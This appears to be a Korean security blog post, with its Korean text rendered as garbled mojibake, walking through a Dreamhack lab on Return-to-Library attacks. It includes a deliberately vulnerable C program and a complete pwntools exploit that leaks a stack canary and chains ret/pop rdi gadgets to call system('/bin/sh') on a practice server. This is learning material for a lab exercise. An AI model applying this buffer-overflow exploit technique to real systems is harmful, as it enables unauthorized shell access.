Return To Library
NX๋ก ์ธํด ๊ณต๊ฒฉ์๊ฐ ๋ฒํผ์ ์ฃผ์
ํ ์
ธ ์ฝ๋๋ฅผ ์คํํ๊ธฐ๋ ์ด๋ ค์์ก์ง๋ง, ์ด์ ํ BOF๋ ๊ฐ๋ฅ!
๊ทธ๋์ ๊ณต๊ฒฉ์๋ค์ ์คํ ๊ถํ์ด ๋จ์์๋ ์ฝ๋ ์์ญ์ผ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๊ณ ์ํ์ฃ
ํ๋ก์ธ์ค์ ์คํ ๊ถํ์ด ์๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ผ๋ฐ์ ์ผ๋ก ๋ฐ์ด๋๋ฆฌ์ ์ฝ๋ ์์ญ & ์ฐธ์กฐ lib์ ์ฝ๋ ์์ญ
ํนํ ๊ณต๊ฒฉ์๋ค์ด ์ฃผ๋ชฉํ ๊ฒ์ ๋ค์ํ ํจ์๊ฐ ๊ตฌํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์
๋๋ค.
๋ช๋ช lib๋ ๊ณต๊ฒฉ์ ์ ์ฉํ ํจ์๋ค์ด ๊ตฌํ๋์ด ์์ต๋๋ค
์๋ก ๋ฆฌ๋
์ค์ C๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ ์ฐธ์กฐํ libc์ system/execve ๋ฑ ํ๋ก์ธ์ค ์คํ ๊ด๋ จ ํจ์๋ค์ด ๊ตฌํ๋จ
Return To Libc(Return To Library)
libc์ ํจ์๋ค๋ก libc์ ํจ์๋ค NX๋ฅผ ์ฐํํ๊ณ ์ ธ์ ํ๋ํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๊ฐ๋ฐ
์ข ๋ ๋ฒ์ฉ์ ์ผ๋ก ๋ค๋ฅธ lib๋ ๊ณต๊ฒฉ์ ํ์ฉ๋๋ฉด Return To Library๋ผ ๋ถ๋ฆ
์ ์ฌํ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ผ๋ก Return To PLT๊ฐ ์๋๋ฐ ์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ๋ lib์ ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ํต์ฌ์ผ๋ก,
์ด ๋ถ๋ถ์ RTL์ ํ์๋ฒ์ ์ผ๋ก ๋ด์ผ๊ฒ ์ฃ ์๋ ์ฝ๋๋ ์ฐ๋ฆฌ๊ฐ ๋ซ์ด๋ฒ๋ฆด ์ฝ๋
Checksec์ผ๋ก ๊ฐ๋จํ๊ฒ ์ด๋ค ์ํ์ธ์ง ํ์ธํด๋ด ์๋ค
NX์ Canary ๊ทธ๋ฆฌ๊ณ ASLR์ ์ต์ ๊ทธ๋ฆฌ๊ณ ์ค์ต ํ๊ฒฝ์์ ํน๋ณํ ๋ง ์์ผ๋ฉด ๊ธฐ๋ณธ
์ฆ, 3๊ฐ์ ๋ณดํธ๊ธฐ๋ฒ์ด ๊ป์ณ์๋ค์.. ํ๋ค๊ฒ ์ง๋ง RTL์ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ ํ์ฉํ๋ฉด EZ(..?)
BOF์ ์ทจ์ฝ์ (Canary ์ฐํ๊น์ง)์ ์ด์ ์ด๋ ์ ์ฌํ๋ ๋๊ธฐ๊ณ ํน์ ๋ชจ๋ฅด๋ฉด ์๋๋ก
'/bin/sh'๋ฅผ ์ฝ๋ ์น์ ์ ์ถ๊ฐ
rlt.c์ 7๋ฒ์งธ ์ค์ '/bin/sh'๋ฅผ ์ฝ๋ ์น์
์ ์ถ๊ฐํ๊ธฐ ์ํด ์์ฑ๋ ์ฝ๋์
๋๋ค.
ASLR์ด ์ ์ฉ๋ผ๋ PIE๊ฐ ์ ์ฉ๋์ง ์์ผ๋ฉด ์ฝ๋/๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์ฃผ์๋ ๊ณ ์ ๋๋ฏ๋ก.. ๊ณ ์ ๋์ฃ
์ด ๋ฌธ์์ด(์์?)๋ ๊ณต๊ฒฉ์ ๋งค์ฐ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋ ์ ์๊ฒ ์ฃ
system ํจ์๋ฅผ PLT์ ์ถ๊ฐ
rtl.c์ 16๋ฒ์งธ ์ค์ PLT์ system์ ์ถ๊ฐํ๊ธฐ ์ํด ์์ฑ๋ ์ฝ๋์
๋๋ค. ์ด์ ์ ๋ฐฐ์ด ๋ด์ฉ์ด์ฃ ?
๊ทธ ์ค PLT์๋ ํจ์์ ์ฃผ์๊ฐ resolve๋์ง ์์ ์, ํจ์์ ์ฃผ์๋ฅผ ๊ตฌํ๊ณ ์คํํ๋ ์ฝ๋๊ฐ ์์ด์
๋ฐ๋ผ์ PLT์ ์ด๋ค lib ํจ์๊ฐ ๋ฑ๋ก๋์ด ์๋ค๋ฉด, ๊ทธ ํจ์์ PLT ์ํธ๋ฆฌ๋ฅผ ์คํํจ์ผ๋ก์จ ์คํ ๊ฐ๋ฅ
๊ณต๊ฒฉ๊ธฐ๋ฒ : Return PLT
ASLR์ด ๊ฑธ๋ ค ์์ด๋ PIE๊ฐ ์ ์ฉ๋์ด ์์ง ์๋ค๋ฉด PLT์ ์ฃผ์๋ ๊ณ ์ ๋๋ฏ๋ก, ๋ฌด์์์ ์ฃผ์์ ๋งคํ๋๋ lib์ ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ๋ชฐ๋ผ๋ ์ด ๋ฐฉ๋ฒ์ผ๋ก lib ํจ์๋ฅผ ์คํ ํ ์ ์์ต๋๋ค
๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ๊ตฌํ์ฌ ASLR๋ฅผ ์ฐํ๋ ๋์ค์..
์ด๋ฒ์ PLT๋ฅผ ์ด์ฉํ NX ์ฐํ์ ๋ํ์ฌ ํด๋ด
์๋ค.
ELF์ PLT์๋ ELF๊ฐ ์คํํ๋ lib ํจ์๋ง ํฌํจ๋์ด, ๋ค์ ์ฝ๋๋ฅผ ์์ฑ system ํจ์ ์ถ๊ฐํฉ์๋ค.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
์ง์ ์ปดํ์ผํด๋ ๋๊ณ ์๋ ์คํ ํ์ผ๋ง ๊ฐ๊ณ ์ฐ์ ๋ ์๊ด ์์ด์ ์ด์งํผ dreamhack๋ฌธ์ ๋..
๋ฒํผ ์ค๋ฒํ๋ก์ฐ
rtl.c์ 18๋ฒ์งธ 27๋ฒ์ ์ด์ ๋ถํฐ ๊ณ์ ํ ASLR๋ฅผ ์ฐํํ๊ธฐ ์ํ BOF๋ฅผ 2๋ฒ ๋ฐ์ํดํ๋..
์ด์ ๊น์ง ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก ์นด๋๋ฆฌ๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ ๋ฑ์ ๋ฐฐ์ ์ผ๋ ์ฌ๊ธด ์ค๋ช
ํจ์ค
Exploit ์ค๊ณ
1. ์นด๋๋ฆฌ ์ฐํ
์ด์ ์์ ๋ ๋งํฌ์์ ๋ฐฐ์ด ๋ด์ฉ์ด๋ ์ฐธ๊ณ ํ์ค๊ฑฐ๋ฉด ์์ ๋งํฌ ๋ฐ๋ผ์ ๊ฐ์๋ฉด ๋ฉ๋๋ค.
2. rdi๊ฐ์ "/bin/sh"์ ์ฃผ์๋ก ์ค์ ๋ฐ ์ ธ ํ๋
์นด๋๋ฆฌ๋ฅผ ๊ตฌํ์ผ๋ฉด, ์ด์ ๋ ๋ฒ์งธ ์
๋ ฅ์ผ๋ก RET๋ฅผ ๋ฎ์ ์ ์์ฃ
๊ทธ๋ฌ๋ NX๋ก ์ธํด ์ง๋๋ฒ์ฒ๋ผ ์ฝ๊ฒ๋ ์๋๋ค๋ ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ ๊ทผํด์ผ๊ฒ ์ฃ
๊ณต๊ฒฉ์ ์ํด ์๊ณ ์๋ ์ ๋ณด๋ฅผ ์ ๋ฆฌํด๋ด ์๋ค
- "/bin/sh"์ ์ฃผ์๋ฅผ ์๋ค
- system ํจ์์ PLT ์ฃผ์๋ฅผ ์ → system ํจ์ ํธ์ถ ๊ฐ๋ฅ
์์ ๋งํฌ Return..๋ฅผ ๋ณด๋ฉด system("/bin/sh")์ ํธ์ถํ๋ฉด ์
ธ์ ํ๋ํ ์ ์์ต๋๋ค.
x84-64์ ํธ์ถ ๊ท์ฝ์ ๋ฐ๋ฅด๋ฉด ์ด๋ rdi="/bin/sh" ์ฃผ์์ธ ์ํ์์ system ํจ์๋ฅผ ํธ์ถํ ๊ฒ๊ณผ ๊ฐ์ต๋๋ค
์ด ์์ ๋ "/bin/sh"์ ์ฃผ์๋ฅผ ์๊ณ , system ํจ์๋ฅผ ํธ์ถํ ์ ์์ผ๋ฏ๋ก...
"bin/sh"์ ์ฃผ์๋ฅผ rdi์ ๊ฐ์ผ๋ก ์ค์ ํ ์ ์๋ค๋ฉด system("/bin/sh")๋ฅผ ์คํํ ์ ์์ต๋๋ค
์ด๋ฅผ ์ํด์ ๋ฆฌํด ๊ฐ์ ฏ์ ํ์ฉํด์ผํ๊ณ ์
๋ฆฌํด ๊ฐ์ ฏ(Return gadget)
๋ค์๊ณผ ๊ฐ์ด ret๋ก ๋๋๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์กฐ๊ฐ์ ์๋ฏธ
์ด์ ๊น์ง ์ฝ๋์์๋ ์ด๋ค ํจ์์ ์ฃผ์ ๋๋ ์
ธ ์ฝ๋ ์ฃผ์๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ ํ๋ฒ์ ์
ธ ํ๋!
๊ทธ๋ฌ๋ NX๋ก ์ธํด ์
ธ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ์ํฉ์์ , ๋จ ํ ๋ฒ์ ํจ์ ์คํ์ผ๋ก ์
ธ ํ๋์ ์ผ๋ฐ์ ์ผ๋ก ๋ถ๊ฐ๋ฅใ
๋ฆฌํด ๊ฐ์ ฏ์ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ์ ์ ์ฐ์ฑ์ ๋์ฌ์ ์ต์คํ๋ก์์ ํ์ ํ๊ฒฝ ์กฐ๊ฑด์ ๋ง์กฑํ๊ฒ ๋์ต๋๋ค
์๋ก ์ด ์์ ์ rdi์ ๊ฐ์ "/bin/sh"์ ์ฃผ์๋ก ์ค์ ํ๊ณ , system ํจ์๋ฅผ ํธ์ถํด์ผ ํฉ๋๋ค
๋ฆฌํด ๊ฐ์ ฏ์ ์ฌ์ฉํด ๋ฐํ ์ฃผ์์ ์ดํ ๋ฒํผ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ฎ์ผ๋ฉด,
pop rdi๋ก rdi๋ฅผ "/bin/sh"์ ์ฃผ์๋ก ์ค์ ํ๊ณ , ์ด์ด์ง๋ ret๋ก system ํจ์๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค
๋๋ถ๋ถ ํจ์๋ ret๋ก ์ข
๋ฃ๋๋ฏ๋ก, ํจ์๋ค๋ ๋ฆฌํด ๊ฐ์ ฏ์ผ๋ก ์ฌ์ฉ๋ ์ ์์ต๋๋ค
๋ฆฌํด ๊ฐ์ ฏ์ ์ฌ์ฉํ ๋์ฑ ๋ณต์กํ ๊ณต๊ฒฉ์ ๋์ค์ ๊ฐ์ด ๋ณผ๊ป์
์นด๋๋ฆฌ๋ฅผ ์ฐํํ๊ณ , system("/bin/sh")๋ฅผ ํธ์ถํ ๊ณํ์ ์ธ์ ์ผ๋ฏ๋ก ์ด๋ฅผ ์ฝ๋๋ก ๊ตฌํํฉ์๋ค
Exploit
์นด๋๋ฆฌ ์ฐํํ๋ ๊ณผ์ ์ ์ง๋๋ฒ์ ํ์ผ๋ฏ๋ก ๊ฐ๋จํ๊ฒ ์ง๋ณด๋ฉด...
...15๋ฒ๋ถํฐ ๋ณด๋ฉด ๋๊ฒ ๋ค์ ์์๋ ๊ธฐ๋ณธ์ ์ธ ์ค์ ํน์ ์ทจํฅ์ฐจ์ด๋๊น์
๊ทธ ์ ์ ์ฝ๋๋ buf๊ฐ 0x30์ธ๋ฐ ์ 0x39๋ฅผ ํ์๊น..? ์๊ตฌ์ฌ์ด ๋์ฃ ?
๊ทผ๋ฐ ํ์ธํด๋ณด๋ฉด rsp๋ 0x40์ผ๋ก ์กํ์๋จ ๋ง์ด์ฃ .. ๊ทธ ์ด์ ๋ฅผ ์์๋ณด์๋ฉด ๋จผ์ buf๊ฐ 0x30์ด๋ฉฐ,
Canary๋ ์ง๊ธ ์ํคํ
์ฒ๊ฐ x64์ด๊ธฐ์ 8byte๊ฐ ํ ๋น๋์ด ์์ฃ .. ์ ๊ทผ๋ฐ ๊ทธ ์ ์ stack alignment์ ์ํด
ํ์ 16์ฉ patch๋๋ค๊ณ ๊ทธ ์ ์๋ ๊ทธ๋ฌ์ฃ ๊ทธ๋ฌ๋ฏ๋ก 0x30 + 0x8(Canary)๋ฅผ ํ๋ฉด 16์ฉ ์๋์ฃ
๊ทธ๋์ 8byte๋ฅผ ์ถ๊ฐํ๊ฑฐ์์ ๊ทธ๋ฐ๋ฐ ๋ฌธ์์ด์ ๋์ null byte๋ก ๊ตฌ๋ถ ๋ํ ์นด๋๋ฆฌ๋ ์ต๊ฐํ๋ฉด
'\x00'์ผ๋ก ์์ํ๋ฏ๋ก +1byte๋ฅผ ์ถ๊ฐํด ๋ฒํผ๋ฅผ ์ฑ์ BOF.. ์ฌ์ค 0x30๋ง ์ด๊ณผํด๋ ๋์ง๋ง
์ฐ๋ฆฐ Leak Canary๊ฐ์ ๊ตฌํ๋ ๊ฑฐ๋๊น ๋ง์ถฐ์ ํด์ผ๊ฒ ์ฃ ? ๊ทธ๋์ buf์ sfp์ offset์ ๊ตฌํด๋ด์ผํด์
์.. ๊ทธ๋ฆฌ๊ณ ๊ทธ ์ ์ unpackingํด๋ ์๊ด ์์๋๋ฐ ์ฌ๊ธฐ์ ํด์ผ ์ค๋ฅ๊ฐ ์๋๋๊ตฐ์..
๊ทธ๋ฌ์๋ฉด ์ด๋ด ์ ์์ด์ ๋ญ์ผ Dreamhack์ด ์ ์ํ๊ฑฐ๋ ๋๊ฐ๋ค.. ์ด๋ฌ์๋ฉด ๋ค.. ์ฐธ๊ณ ๋ง์ด ํ์ด์
ํ์ง๋ง ์ ๊ฐ ์๋ชป ์ดํดํ๊ฑฐ๋ ํ์ ์์๋ ์์ ํ๊ธฐ ๊ท์ฐฎ์์ ์ ํ ๋๋ฅผ ๋๋นํด.. ๋งํฌ ํํ
๋ฆฌํด ๊ฐ์ ฏ ์ฐพ๊ธฐ
๋ฆฌํด ๊ฐ์ ฏ์ ์ฐพ๋ ๋ฐฉ๋ฒ์ ๋ค์ํ์ง๋ง, ์ผ๋ฐ์ ์ผ๋ก ROPgadget์ ์ฌ์ฉํฉ๋๋ค.
pypi๋ฅผ ์ด์ฉํด.. ์ฆ, ํ์ด์ฌ ๋ชจ๋์ด์ฃ
์ด์ํ๋ ๊ฒธ pip ์
๋ฐ์ดํธ๋ ๊ฐ์ด ํด์ฃผ์ธ์ ๋ญ Warning์ด๊ฑด ๋ฌด์ํ์
๋ ๋ณ ๋ฌธ์ ์์ด๋ณด์ด๊ณ ์
๋ค์ ๋ช
๋ น์ด๋ก ์ ์ค์น ํ๋์ง๋ ํ์ธํ ์ ์์ต๋๋ค.
๋ค์ ๋ช
๋ น์ด๋ก ํ์ํ ๊ฐ์ ฏ๋ ์ฐพ๊ณ , ์.. ํ์ํ ๊ฒ ret(system)/rdi("/bin/sh")๊ฒ ์ฃ ?
--re ์ต์
์ ์ฌ์ฉํ๋ฉด ์ ๊ทํํ์์ผ๋ก ๊ฐ์ ฏ ํํฐ๋ง ๊ฐ๋ฅ(์ถ์ฒ.. ๋๋ฌด ๋ง์ผ๋๊น)
์ฌ๊ธฐ์ ๋ ์๋ฌธ์ด ๋ค ์ ์์ด์
"์๋ ์ 0x400285๊ฐ system ํจ์ ret์ธ์ง ์ด๋ป๊ฒ ์๋!!"๋ผ๊ณ ์
๊ฐ๋จํ์ฃ ์ ๊ฑฐ ๋ณด์๋ฉด ๋ค ์ธ๋ถ ์ฐธ์กฐํ์์ด๋๊น ์ ๊ฑฐ ๋ฐ์ ์์๊ฑฐ์์
์๊น ํจ์๋ ์ข
๊ฒฐ ๊ฑฐ์ ๋ค ์ ๊ฑธ๋ก ํ๋ค๊ณ ํ์ผ๋๊น ์ ๋ ๊ฒ ๋ ์ง์คํฐ ๋ผ๊ณ ์ค๋๊ฑฐ ๋นผ๋ฉด.. ใ
๋ ๋ญ.. ์ ret๋ฅผ ๊ตฌํด์ผ ํ๋? ๋ผ๊ณ ์๊ฐ์ด ๋ ๋ค๋ฉด
์๋ก ๋งํฌ๋ ์์ธํ๊ฒ pwndbg๋ฅผ ํ์ฉํด ๋ค์ด๊ฐ๋ ๋ถ๋ถ์ธ๋ฐ.. ์.. ์ ์ฌ๊ธฐ๊น์ง
ํ๋ ๊ฑด ํ๋ค๊ธฐ์ ๊ฐ์ด ๋ด
์๋ค ใ
์ต์คํ๋ก์
์์์ ๋งํ๋์ ๋ค์๊ณผ ๊ฐ์ด ๊ฐ์ ฏ์ ๊ตฌ์ฑํ๋ฉด system("/bin/sh")๋ฅผ ์คํํ ์ ์์ฃ
"/bin/sh"์ ์ฃผ์๋ฅผ ๋ค์ pwndbg์ ๋ช ๋ น์ด๋ก๋ ์ฐพ์ ์ ์์ด์
system ํจ์์ PLT์ ์ฃผ์๋ฅผ pwndbg๋ pwntools์ ๋ํ์ฌ ์ ์ ์์ต๋๋ค.
์ฐ๋ฆฌ๋ pwntools๋ก ์์๋ด ์๋ค. ์์ธํ๊ฑด ์ด์ ์ ์ ๋ฆฌํ ์๋ฃ ์ฌ๊ธฐ๋ก
๊ฐ์ ฏ์ผ๋ก ๊ตฌ์ฑ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ๊ณ , ์ด ํ์ด๋ก๋๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ผ๋ฉด ์ ธ์ ํ๋ ๊ฐ๋ฅ
๊ทผ๋ฐ ํ๊ฐ์ง ์ฃผ์ํ ์ ์ system ํจ์๋ก rip๊ฐ ์ด๋ํ ๋, ์คํ์ ๋ฐ๋์ 0x10๋จ์๋ก ์ ๋ ฌ..ํด์ผํ๋ค
์ด๋ system ํจ์ ๋ด๋ถ์ ์๋ movaps ๋ช
๋ น์ด ๋๋ฌธ์ ์คํ์ด 0x10๋จ์๋ก ์ ๋ ฌ๋์ผ ์๋ฌ ์์ด ์คํ ๋์
์ฐธ๊ณ ๋ก system ํจ์(SetUID์ ํจ์..?)์ด๋๊น NX๋ฅผ ์ฐํ ํ ์ ์๋๊ฑฐ์์
๊ทธ๋ผ ๋์ฒด ์ ๊ฑธ ์์์ ์ด๋๋ค๊ฐ ์ฐ๋.. ์๋ฌด๋๋ ์ฐ๋ฆฐ system ํจ์์ ์ธ์๋ถ๋ถ์ ๊ฑด๋ค์ด์ ๋ฃ๋๋ค๋ณด๋๊น
์คํ์ ์ด๋ค ๊ฐ์ ์ผ๋ง๋ ๋ฃ๊ณ ์๋ฃ๊ณ ๋ ์ค์ํ์ง ์๊ณ rsp๋ ์ง์คํฐ์ ๊ฐ์ ๋ฐ๊ฟ์ฃผ๋๊ฒ ์ค์ํ๋ฐ์.
ret์ pop rip; jmp rip์ ๊ฐ์ ์ญํ ์
๋๋ค. ๊ทธ๋์ 0x8๋งํผ ์ฆ๊ฐ๋๋๊น..
๊ฒฐ๊ตญ ์คํ์ด ์ ๋ ฌ๋์ด์ผ ํ๋ค๋ ๋ป์ด rsp๋ ์ง์คํฐ์ ๊ฐ์ด 0x10์ ๋ฐฐ์๋ก ์ ๋ ฌ๋์ด์ผ ํ๋ค๋ ๋ป
๊ทธ๋ฌ๋ฏ๋ก system ํจ์๋ฅผ ์ด์ฉํ exploit์ ์์ฑ ์, ์ ์์ฑํด๋ Segmentation Fault ๋ฐ์ ์
system ํจ์์ ๊ฐ์ ฏ์ 8byte ๋ค๋ก ๋ฏธ๋ค๋ณด๋ ๊ฒ๋ ์ข์์ ์ด๋ฅผ ์ํด no-op gadget์ ๋ฃ์ด๋ณด๋ ๊ฒ!
๋ฐ์ ๋งํฌ๋ ๋ญ ๋ฌธ์ ํด๊ฒฐ์ ํฐ ๋์์ด ๋ ๊ฑฐ ๊ฐ์ง ์์ง๋ง(์ ์ด์งํผ ๋ต๋ณด๋ฉด์ ๋ถ์ํด์..)
์์ ํด์์ ์์ด์ ๋์์ด ๋์ด ์ฌ๋ ค๋ณด์์ต๋๋ค.
์ต์คํ๋ก์ ์ฝ๋๋ ์์ ํ์ตํ ๋ด์ฉ ๊ทธ๋๋ก ํ๋๋ฐ...
๋ ์์ธํ ๋ ์ ํํ๊ฒ.. ๋์ค์ ํ ๋ฌธ์ ์์ ์ง์ด์ ํ ๊ป์ ใ
#/!/usr/python3
from pwn import *
#p = process('./rtl')
p = remote('host2.dreamhack.games', 16030)
context(arch='amd64', os='linux')
context.log_level = 'debug'
e = ELF('./rtl')
#gdb disassemble runtime excute & checking
#gdb.attach('./rtl')
def slog(name, addr): return success(':'.join([str(name), hex(addr)]))
#[1] Leak canary
buf = b'A' * 0x39
cnry = ''
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00'+p.recvn(7))
slog('Address Canary', cnry)
# [2] exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x400853
ret = 0x400285
#payload
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
#pause()
p.sendafter("Buf: ", payload)
p.interactive()
๋ง๋ฌด๋ฆฌ
NX๋ฅผ ์ฐํํ๋ RTL ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๋ํ์ฌ ์์๋ณด์์ต๋๋ค.
RTL ๊ณต๊ฒฉ ๊ธฐ๋ฒ ์ดํ chaining RTL, ๊ทธ๋ฆฌ๊ณ Return Oriented Programming(ROP)๋ก ๋ฐ์ ๋จ
์ฌ๊ธฐ์ ํต์ฌ์ ๋ฆฌํด ๊ฐ์ ฏ์ด๊ฒ ์ฃ ์ฌ๊ธฐ์ ์ต์คํ๋ก์์ ๋ฐ์ด๋๋ฆฌ์ ๊ฐ์ ฏ๋ง ์ฌ์ฉํ์ผ๋,
libc์ ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ์๋ค๋ฉด libc์ ๊ฐ์ ฏ๋ค๋๋ง์ฐฌ๊ฐ์ง์ ๋ฐฉ๋ฒ์ผ๋ก ์ฌ์ฉํ ์ ์์ด,
lib์ ๋งค์ฐ ๋ง์ ๊ฐ์ ฏ์ด ํฌํจ๋์ด ์์ผ๋ ํ์ฉํ๋ฉด
์ด์
๋ธ๋ฆฌ์ด๋ก ํ๋ก๊ทธ๋๋ฐํ๋ ๊ฒ๊ณผ ์ ์ฌํ ํจ๊ณผ๋ฅผ ์ป์ ์ ์๊ฒ ์ฃ
๊ทธ๋์ ์ด๋ฆ ๋ถ์ฌ์ง ๊ฒ์ด Return Oriented Programming(ROP)!!
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
basic_exploitation_002 (0) | 2022.10.30 |
---|---|
Exploit Tech: Return Oriented Programming (0) | 2022.07.05 |
Background: Library - Static Link vs. Dynamic Link (0) | 2022.06.08 |
Mitigation: NX & ASLR (0) | 2022.06.07 |
ssp_001 (0) | 2022.05.23 |